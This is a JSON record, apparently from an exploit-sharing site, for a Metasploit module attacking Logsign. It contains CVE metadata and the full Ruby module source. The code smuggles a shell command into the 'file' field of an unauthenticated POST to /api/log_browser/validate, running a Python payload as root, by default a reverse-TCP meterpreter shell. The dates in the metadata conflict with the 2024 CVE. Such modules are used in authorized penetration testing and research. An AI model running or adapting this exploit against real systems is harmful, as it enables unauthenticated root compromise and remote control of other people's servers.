{"exploit":{"id":"MSF-linux--http--logsign_exec","name":"Logsign Remote Command Injection","description":"This module exploits a command injection vulnerability in Logsign. By exploiting this vulnerability, unauthenticated users can execute arbitrary code under the root user. Logsign has a publicly accessible endpoint. That endpoint takes a user input and then use it during operating system command execution without proper validation. This module was tested against 4.4.2 and 4.4.137 versions.","cves":["CVE-2024-5721"],"author":"Mehmet Ince","published":"2017-02-26","platform":"Python","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/logsign_exec.rb","path":"modules/exploits/linux/http/logsign_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"logsign_exec.rb","vulnerabilities":[{"id":"CVE-2024-5721","state":"PUBLISHED","title":"Logsign Unified SecOps Platform Missing Authentication Remote Code Execution Vulnerability","titleSource":"CVE Program","description":"Logsign Unified SecOps Platform Missing Authentication Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Logsign Unified SecOps Platform. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the cluster HTTP API, which listens on TCP port 1924 when enabled. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-24169.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-5721","cvss":{"version":"3.0","baseScore":8.1,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"zdi","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-5721"},"updatedAt":"2024-11-26T15:57:55.702Z","retrievedAt":"2026-11-26T12:46:11.106Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--logsign_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--logsign_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--logsign_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--logsign_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Logsign Remote Command Injection',\n        'Description' => %q{\n          This module exploits a command injection vulnerability in Logsign.\n          By exploiting this vulnerability, unauthenticated users can execute\n          arbitrary code under the root user.\n\n          Logsign has a publicly accessible endpoint. That endpoint takes a user\n          input and then use it during operating system command execution without\n          proper validation.\n\n          This module was tested against 4.4.2 and 4.4.137 versions.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module\n        ],\n        'References' => [\n          ['CVE', '2024-5721'],\n          ['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']\n        ],\n        'Privileged' => true,\n        'Platform' => ['python'],\n        'Arch' => ARCH_PYTHON,\n        'DefaultOptions' => {\n          'payload' => 'python/meterpreter/reverse_tcp'\n        },\n        'Targets' => [ ['Automatic', {}] ],\n        'DisclosureDate' => '2017-02-26',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def check\n    p_hash = { :file => \"#{rand_text_alpha(15 + rand(4))}.raw\" }\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),\n      'ctype' => 'application/json',\n      'data' => JSON.generate(p_hash)\n    )\n\n    if res && res.body.include?('{\"message\": \"success\", \"success\": true}')\n      Exploit::CheckCode::Vulnerable('The target is vulnerable')\n    else\n      Exploit::CheckCode::Safe('The target is not vulnerable')\n    end\n  end\n\n  def exploit\n    print_status(\"Delivering payload...\")\n\n    p_hash = { :file => \"logsign.raw\\\" quit 2>&1 |python -c \\\"#{payload.encoded}\\\" #\" }\n\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),\n      'ctype' => 'application/json',\n      'data' => JSON.generate(p_hash)\n    )\n  end\nend\n","sha256":"3a59195a0caf3d70bac2a78444fc51fc4885067f7e93b9d6ed17c66646fb8848","bytes":2623,"fetchedAt":"2026-11-26T12:46:10.986Z","encoding":"utf-8 (display only; download retains original bytes)"}